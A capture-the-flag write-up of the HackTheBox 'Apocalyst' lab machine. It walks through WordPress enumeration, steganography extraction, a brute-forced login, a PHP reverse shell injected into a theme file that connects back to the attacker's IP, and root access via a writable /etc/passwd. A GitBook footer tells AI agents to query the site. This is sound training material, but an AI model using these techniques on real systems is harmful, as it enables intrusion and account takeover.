> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Apocalyst HackTheBox Writeup

Apocalyst HackTheBox Medium Linux machine writeup covering Wordpress Enumeration, Image Stego Challenge - Steghide, Information Leakage - User Enumeration, WordPress Exploitation - Theme Editor (RCE),

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**Skills:**

* Wordpress Enumeration
* Image Stego Challenge - Steghide
* Information Leakage - User Enumeration
* WordPress Exploitation - Theme Editor (RCE)
* Abusing misconfigured permissions (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b5c5a0250b63ad0423f65db631b18c9312f7bae%2Fimage%20(733).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580dc3ed66379c02dee916f8969eb3e280a30ac8%2F%7B367CF993-72FC-4986-8BB6-3B2937652F18%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3408f92a90ba9bbf469cfacc518efeac8450b87a%2F%7BF9915EF7-8035-4E33-B74A-CB36AFD5C134%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port version scan with Nmap (22.80):**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f39239b8c921e46c2325d1c1479967a5e93dc479%2F%7B5A48FAC1-5D34-4DA8-B799-EAD43A7BC13E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We detect a WordPress site, but the domain resolution is incorrectly configured.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f8e7effe3d5606a079210f9f672a732053356d%2F%7B0B9FBD72-CF59-4841-98E5-C4F4F64C36FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We add the following entry to */etc/hosts*:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84fd129d773d16f08caa9d98eb21de87441bf681%2Fimage%20(734).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bfd84f861bd111615c381e2e1fc18b5f5889083%2Fimage%20(735).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Exploration of the WordPress site**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5ddf6f1127c7bf11207a8f57f1d10bb89900216%2F%7B736E53A1-C4FE-4F12-B449-75353059F74A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Identify a valid user**

We find a valid user: **falaraki**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a78402ffafd0799ce1204bda3cfbd2e52310e668%2Fimage%20(736).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **SSH Exploitation**

Since the version of SSH is outdated, we can use an exploit to validate the user on the system:

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0bb3100823f519a8639ef7f8e71fbd5b24d65d3%2Fimage%20(737).png?alt=media" alt=""><figcaption></figcaption></figure>

Validate that the user exists:

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b9c2c45e5dddd3e3436ca701e9456ccd401241c%2F%7B1DEDC8FE-B243-4765-A9CD-7F75A7C767E8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### So for wordpress:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e4c4479417d9633922057aa8d5aa2419bec2b7c%2Fimage%20(738).png?alt=media" alt=""><figcaption></figcaption></figure>

### **WordPress Listing**

We use *wfuzz* to search for interesting directories:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

This scan detects several pages returning a 301 code, redirecting to an image.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7c501f0655c83af14cf3f90dc95cdd49cd47c1a%2Fimage%20(740).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c51bf9169d6316f98bdf1337245a72d812af43c%2F%7B428DB325-60F6-4B0E-889D-35A3CF4E9C4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We then filter by the length of the text (157):

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

No interesting results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed38235d4cfa641eba89bbb87c919d1ea33dee60%2F%7BA38C8B07-0498-402A-83EB-16FDC60D6437%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Personalized Dictionary Creation - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

We generate a dictionary based on the website:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b937520bd6451e57f7c75b38c00c11188af5dc4d%2F%7BC1D4EFF5-7B22-4E8C-9FF9-454BCB5E398C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Use **Cewl** to generate a dictionary based on the website:

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4df0326859b616c23ce0ca4b7c99c2e0b3e996d%2F%7B9F74D61D-0E49-42C9-9A0A-3B87BF41CE3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

New recognition with *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

We find the **`Rightiousness`** directory.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6062b94674fbf8368e21cf461dafa9c155c3c5c1%2F%7BBCB6626A-F81D-464C-913C-C35579D2DF81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Steganography analysis with Steghide**

We save the image and analyze it:

1. Checking if the image contains hidden data:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b4ca11ae1f050ecbfcd4dd668907d447cef1326%2F%7BBF3E2B46-EBEB-41D5-AB60-F14D12C229A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Checking if the image contains hidden data:

```bash
steghide info image.jpg
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25bafbe8c5377ac368938e0bf667b9418b09be92%2F%7BB61AC2D5-D35E-4808-9E7E-C44BA34BA105%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Extraction of hidden data:

```bash
steghide extract -sf image.jpg
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58db1cc7ea2d9cee8ab957d4376b054382d83e9f%2F%7B1ED250B8-3960-43F4-A11F-9FCC21581E8B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

A *list.txt* file containing words is generated

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd92d1e0eeb2f1ba183555203ffd478097959c7%2F%7BB33AD389-288C-4D38-BE1A-D89F3AD8F0ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Brute force attack on WordPress**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md">Manual Brute Force (xmlrpc.php)</a></td></tr></tbody></table>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a00153ba79137b90fe64e28af55f5d87f91bc707%2F%7BD6600E64-F085-4894-90B6-1555244867E6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We launch a brute-force attack with *wpscan*, exploiting *xmlrpc.php* which is active:

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

We find **falaraki**'s password: **Transclisiation**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba98744a18bb62e862ccf1bcf00c09c419ae5fd1%2F%7B04411861-90BF-4F1C-A54A-0A03A3DC48BF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-487f641c1d8eea9847f2c85cdf35cd74391a02e1%2F%7BE4E8EE06-2FC9-4BBA-B81F-13A52FC03472%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **WordPress Exploitation - Remote Code Execution (RCE)**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea534a89e75ad30df3dbeedda4a755d9d9ef26d7%2F%7BC6CEFE52-1E03-4C72-9C22-8A7FBFFED8AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We modify the *404.php* file and inject a reverse shell into it:

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

Listening on port 443:

```bash
nc -nvlp 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe1a9f3696247622f44156d5ff7e42f50b3697e%2F%7BB4364371-95D3-4E1C-874E-F6752D49D1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Executing the shell via *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492ca22c588ca624a80e76ddf639ae07c9b184d9%2F%7B34B5F0C0-0745-4EF0-B5B8-A7C59C7746AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Improved shell session:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-409e7951559e41b4da40554db7056ef664dd1770%2F%7B3ED8C5CC-DB9E-41DF-89DD-CCCB457B9041%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Privilege Escalation**

### **Permission Management (`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

We see that */etc/passwd* is editable.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad8d76942ce6ab07d8d7a3a4270c1a80b1d857b4%2F%7B6B243335-2F12-422D-8B64-634021F6159E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Creating an encrypted password with OpenSSL:

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34fa1adb757b53a84eb292e44e51d9f7a17d9548%2F%7BD6C0C74F-44A5-44F3-95CF-D03CB57B6963%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Which generates:

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

We replace the root line in */etc/passwd* with our hash.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8b90a957997c2a72c282022cd3073dfe28cdf28%2F%7BD16226D7-C948-44FF-96C4-3E65C749C68D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Login as root:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fe18b188b4303e1da030fdc73ba17abb087c8d4%2F%7B093F76F7-EBA7-48AC-821A-B6C057385FF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f699b912fb404ef9aa1d50bc06e41ece46c6707%2F%7B4AED9304-1390-41EC-987B-04B55CE51A4C%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7dd81340fb560d2d1e3614101f77ae62246e437%2F%7B7D75D75E-C048-45C5-A8E3-D4FFF5D61652%7D.png?alt=media" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
